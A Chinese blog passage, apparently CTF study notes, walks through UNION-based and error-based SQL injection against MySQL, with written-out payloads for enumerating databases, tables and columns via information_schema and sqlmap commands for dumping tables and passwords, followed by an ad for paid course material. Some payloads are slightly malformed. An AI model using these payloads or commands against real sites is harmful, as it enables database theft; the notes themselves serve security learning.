SQL注入(一)(1)

7.GET注入;

注入字段在GET数据中

8.POST注入;

注入字段在 POST 数据中

9.Cookie注入;

注入字段在Cookie 数据中

10.Mysql结构;

Order by:(可以判断列数)

具体:SQL数据库——order by 语句-CSDN博客

ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们轻松对查询结果进行排序,让结果更有意义和可读性。通过合理使用ORDER BY语句,我们可以更好地利用SQL的强大功能,提高我们的查询效率和数据分析能力。

函数:

1.GROUP_CONCAT()是mysql提供的一个函数,它的作用是将所选表中的各个字段通过特定字段拼接起来。

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。information_schema数据库中包含的信息特别重要,通过这个表我们可以去获取到存在SQL注入网站的表,列,等信息。

column_name:列的名称

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息,包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

看下面这个表更加直观一点:

具体可以查看什么是脱库:你的个人信息是如何被盗走的?MySQL脱库,脱库的原理,怎么脱库,脱库的步骤,一库三表六字段_数据脱库是什么意思-CSDN博客

一:整数型注入:

输入 ?id=1 and 1=1 ,发现正常回显,但是输入?id=1 and 1=2无回显

可以判断有注入点,接下来用 order by 判断列数

输入: ?id=1 order by 1和?id=1 order by 2都有回显,但是输入到?id=1 order by 3时就没有回显了,所以判断只有两列

接下来输入:?id=-1 union select 1,database(),查询数据库

注:其中id=-1是为了让前面所查询的不存在,从而爆出回显位置

例如:执行命令:?id=-1 union select 1,2  为了让只得到select 1,2的结果,然后判断出二这个位置可以被代替

发现回显给了我们库名:sqli

接下来输入:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“sqli”,查询库中的表

在回显中发现了两个列:news和flag,我们查询flag这个列

输入:?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ ,进行查列

根据回显提示,查询成功,接下来输入:

?id=-1 union select 1,group_concat(flag) from sqli.flag查询字段的内容

得到flag

补充:

sqlmap注入:

关于sqlmap的基础命令,将url修改为需要注入的url即可

查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db

二:字符型注入:

这里先说一下注释(如:#;–+)的作用,详情查看:关于sql注入中的 --+_sql注入中的–±CSDN博客

输入:?id=1’ and ‘1’='1

接着再输入:?id=1’ and ‘1’='2

发现没有回显,所以判断此 Sql 注入为字符型注入

输入:1’ order by 1,2#判断列数,输入此命令正常回显

再输入:1’ order by 1,2,3#,输入此命令不回显

接下来输入:-1’ union select 1,2#  判断回显位

根据回显信息发现,‘2’是与数据库相连的,说明“2”为注点

接下来,输入:?id=-1’  union select 1,database()%23 爆库名

这里解释一下:#和%23其实是一样的,不过%23要用在url地址栏中,而#要用在网页的输入栏中

成功爆出表名为:sqli

接下来输入:?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

爆出了两个列名,接着在列flag中爆字数段

输入:?id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’%23

接着爆字数段中的所有数据

输入:?id=-1’ union select 1,(select flag from flag)%23

得到flag

三:报错注入

原理:

主要是通过在输入框中,用有限的可控参数,构造指定的错误,让其在前端页面显示报错信息,可以获取到最终的信息

当我们使用SQL注入的时候,如果使用and 1=1没有回显信息,然后输入错误的信息,有报错的时候,可以使用报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

重要的函数:extractvalue和updatexml都是MySQL对于XML文档数据进行查询的xpath函数,两个函数都是让参数中出现特殊符号,导致函数报错,并且将特殊符号之后的内容回显在报错语句语句中

(还有floor等函数我还没学习)

1.updatexml()函数:

payload:updatexml(Xml_document,Xpathstring,new_value)
xml_document:xml标记
Xpathstring:显示输入语句
new_value:新值

以上这个为该函数的参数,通过学习这个我们可以自己进行构造

1’ and updatexml(1,concat(‘‘,database(),’’),1) – #爆库;

1’ and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),‘~’),1) – #爆表;

1’ and updatexml(1,concat(‘~’,(select group_concat(select column_name from information_schema.columns where columns_name =xxx ) ,0x7e) , 3)#爆字段;

2.extractvalue()函数

extractvalue(XML_document,XPath_string)
XML_document:XML文档对象名称
XPath_string:输入的操作语句

extractvalue和updatexml在构造注入语句时的主要的区别在于参数数量

1’ and extract(1,concat(0x7e,database(),0x7e))#爆库
1’ and extract(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = xxx),0x7e))#爆表
1’ and extract(1,concat(0x7e,group_concat(select column_name from information_schema.columns where columns_name =xxx ),0x7e))#爆字段

输入命令:

1 and (select extractvalue(1, concat(0x7e, (select database()))))爆库

关于上面这条命令(详解见):SQL注入中的报错注入,updatexml(1,concat(0x7e,database(),0x7e),1)_1 and updatexml(1,(concat(0x7e,(select database())-CSDN博客,0x7e),1)_1 and updatexml(1,(concat(0x7e,(select database())-CSDN博客")

接着根据报错的信息输入:爆表

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

img-AmGNFWVO-1715543290641)]

[外链图片转存中…(img-JsAZoysm-1715543290641)]

[外链图片转存中…(img-54UojTQi-1715543290642)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 18
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值